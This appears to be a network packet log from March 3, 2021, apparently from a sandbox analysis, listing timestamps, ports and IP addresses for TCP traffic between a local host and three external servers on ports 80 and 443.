Mar 3, 2021 07:32:39.838542938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838561058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838572979 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.838582993 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838608980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838609934 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.838625908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838639021 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.838644028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838660002 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838671923 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.838677883 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838696003 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838713884 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838738918 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.839355946 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839378119 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839396000 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.839409113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839437008 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839438915 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.839466095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839483976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839492083 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.839500904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839517117 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839533091 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.839543104 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.839561939 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.839867115 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.840010881 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840038061 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840063095 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840079069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840105057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840105057 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.840128899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840153933 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.840154886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840173006 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840182066 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.840188980 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840204954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840219975 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840235949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840250969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840260983 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.840414047 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.840926886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840950012 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840974092 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.840996981 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841023922 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841053009 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841057062 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.841070890 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841078043 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.841088057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841104031 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841123104 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841140985 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841149092 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.841156006 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841172934 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841181040 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.841197014 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.841797113 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.841897964 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841923952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841949940 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841974974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.841993093 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842001915 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.842015028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842039108 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842053890 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842070103 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842073917 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.842087030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842097998 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.842102051 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842118025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842125893 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.842133999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842163086 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.842580080 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.842799902 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842827082 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842865944 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842892885 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842892885 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.842915058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842919111 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.842941999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842957973 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842973948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842991114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.842999935 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.843005896 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843024969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843041897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843051910 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.843058109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843070030 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.843235016 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.843810081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843842983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843858957 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843873978 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843889952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843905926 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843925953 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843943119 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.843961000 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.844011068 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.844017982 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:41.153229952 CET	49746	80	192.168.2.4	13.225.80.39
Mar 3, 2021 07:32:41.191840887 CET	80	49746	13.225.80.39	192.168.2.4
Mar 3, 2021 07:32:41.191942930 CET	49746	80	192.168.2.4	13.225.80.39
Mar 3, 2021 07:32:41.192306995 CET	49746	80	192.168.2.4	13.225.80.39
Mar 3, 2021 07:32:41.231983900 CET	80	49746	13.225.80.39	192.168.2.4
Mar 3, 2021 07:32:41.232743979 CET	80	49746	13.225.80.39	192.168.2.4
Mar 3, 2021 07:32:41.277590036 CET	49746	80	192.168.2.4	13.225.80.39
Mar 3, 2021 07:32:41.366820097 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.405700922 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.405992031 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.406609058 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.446355104 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.449635029 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.449656963 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.449671030 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.449778080 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.452980042 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.456803083 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.464313030 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.502887964 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.503083944 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.522429943 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.562613964 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.969672918 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.969710112 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.969728947 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.969750881 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.969769955 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.969786882 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.969886065 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.969919920 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.970158100 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.970180988 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.970246077 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.971298933 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.971333027 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.971415997 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.972464085 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.996097088 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.996421099 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.996439934 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.996460915 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.996571064 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.996640921 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.997550011 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.997576952 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.997665882 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:41.998692036 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.998737097 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:41.998795986 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.001348972 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.001372099 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.001437902 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.001781940 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.001801014 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.001833916 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.002749920 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.002839088 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.022392988 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.022420883 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.022509098 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.022754908 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.022773027 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.022845984 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.024234056 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.024266005 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.024394989 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.025274038 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.025305986 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.025427103 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.026036024 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.026060104 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.026137114 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.027178049 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.027201891 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.027273893 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.028358936 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.028397083 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.028485060 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.029757977 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.029784918 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.029876947 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.030566931 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.030605078 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.030725002 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.037372112 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.037430048 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.037564039 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.037838936 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.037862062 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.037936926 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.039046049 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.039078951 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.039143085 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.040539026 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.040565014 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.040631056 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.041208982 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.041234970 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.041328907 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.042335033 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.042361975 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.042433023 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.044029951 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.044054985 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.044142962 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.044922113 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.044948101 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.045047045 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.045779943 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.045800924 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.045871019 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.046866894 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.046895981 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.046987057 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.047952890 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.047980070 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.048032999 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.063738108 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.063776016 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.063936949 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.064213991 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.064241886 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.064312935 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.065372944 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.065424919 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.065500021 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.068257093 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.068285942 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.068389893 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.068780899 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.068808079 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.068885088 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.068943977 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.068967104 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.069643974 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.069777012 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.069806099 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.069864035 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.070933104 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.070966959 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.071023941 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.072449923 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.072488070 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.072571993 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.073652029 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.073684931 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.074065924 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.074598074 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.074630022 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.074695110 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.075408936 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.075436115 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.075508118 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.076514959 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.076546907 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.076730013 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.078739882 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.078778982 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.078843117 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.079240084 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.079274893 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.079354048 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.080024958 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.080046892 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.080121994 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.081690073 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.081720114 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.081880093 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.082150936 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.082182884 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.083128929 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.084213972 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.084243059 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.084297895 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.084956884 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.084981918 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.085175991 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.086083889 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.086112976 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.086189985 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.086639881 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.086667061 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.086729050 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.087691069 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.087717056 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.087796926 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.088810921 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.088845015 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.088927984 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.104732990 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.104773998 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.104856014 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.105218887 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.105556011 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.106271029 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.106302023 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.106359959 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.106401920 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.109105110 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.109128952 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.109323978 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.109577894 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.109606028 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.109678030 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.110769033 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.110796928 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.110845089 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.111057997 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.111085892 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.111140966 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.111855030 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.111888885 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.111947060 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.113538980 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.113574028 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.113684893 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.114675045 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.114707947 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.114774942 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.115763903 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.115797997 CET	443	49747	13.225.80.63	192.168.2.4
Mar 3, 2021 07:32:42.115859032 CET	49747	443	192.168.2.4	13.225.80.63
Mar 3, 2021 07:32:42.116316080 CET	443	49747	13.225.80.63	192.168.2.4
